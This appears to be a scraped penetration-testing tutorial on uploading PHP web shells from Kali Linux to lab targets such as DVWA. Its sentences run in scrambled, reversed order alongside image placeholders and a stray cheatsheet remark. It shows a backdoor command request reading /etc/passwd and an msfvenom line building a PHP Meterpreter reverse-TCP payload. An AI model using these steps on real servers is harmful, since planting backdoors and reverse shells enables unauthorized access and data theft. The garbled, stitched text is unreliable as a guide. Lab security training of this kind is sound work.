![]() ![]() Then try accessing qsd-php-backdoor.php as you did in the previous step and you will find something as shown in the image below. cmd=cat+/etc/passwdĪs a result, we have extracted all records of passwd file, hence we can execute any command such as ls, cp and so on therefore we can obtain web shell by exploiting REC.Īn exploit of a web shell generally considered as a backdoor that enables an attacker to access and control a server remotely and the qsd-php backdoor shell is a kind of backdoor which provides a platform for executing system command and the wonderful script made by “Daniel Berliner”.Īs you can see, we have uploaded the qsd-php-backdoor.php file successfully. So, let’s try and run cat+/etc/passwd to retrieve all the passwords of the server. As we can observe that here “cmd=cat+/etc/passwd” is a clear indication for Remote code execution. Thus, we try to access simple-backdoor.php and obtain the following output. As we have to do all this Web for Pentesters, so we will first try to upload here simple backdoor php shell which is already available in kali and click on send the file to upload the shell.Īs you can see, we have successfully uploaded the malicious php file and received the hyperlink for the uploaded file. Now you must discover a way to upload a shell in your application. It is already accessible in Kali in the/usr/share/web shells/php folder as shown in the pic below and after that, we will run ls -al command to check the permissions given to the files. Simple-backdoor.php is a kind of web shell that can generate a remote code execution once injected in the web server and script made by “John Troon”. They are stored inside /usr/share/webshells/php and a pen-tester can directory make use of them without wasting time in writing PHP code for the malicious script. Kali Linux has inbuilt PHP Scripts for utilizing them as a backdoor to assist Pen-testing work. ![]() Today we are going to explore all kinds of php web shells what-so-ever are available in Kali Linux and so on. The attacker can then directly perform the read and write operation once the backdoor is uploaded to a destination, you can edit any file of delete the server file. Web shells are the scripts which are coded in many languages like PHP, Python, ASP, Perl and so on which further use as backdoor for illegitimate access in any server by uploading it on a web server. Target: Web for Pentester, DVWA Introduction of PHP Web Shells Msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.This post will describe the various PHP web Shell uploading technique to take unauthorized access of the webserver by injecting a malicious piece of code that are written in PHP.

There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes non-Meterpreter shells.
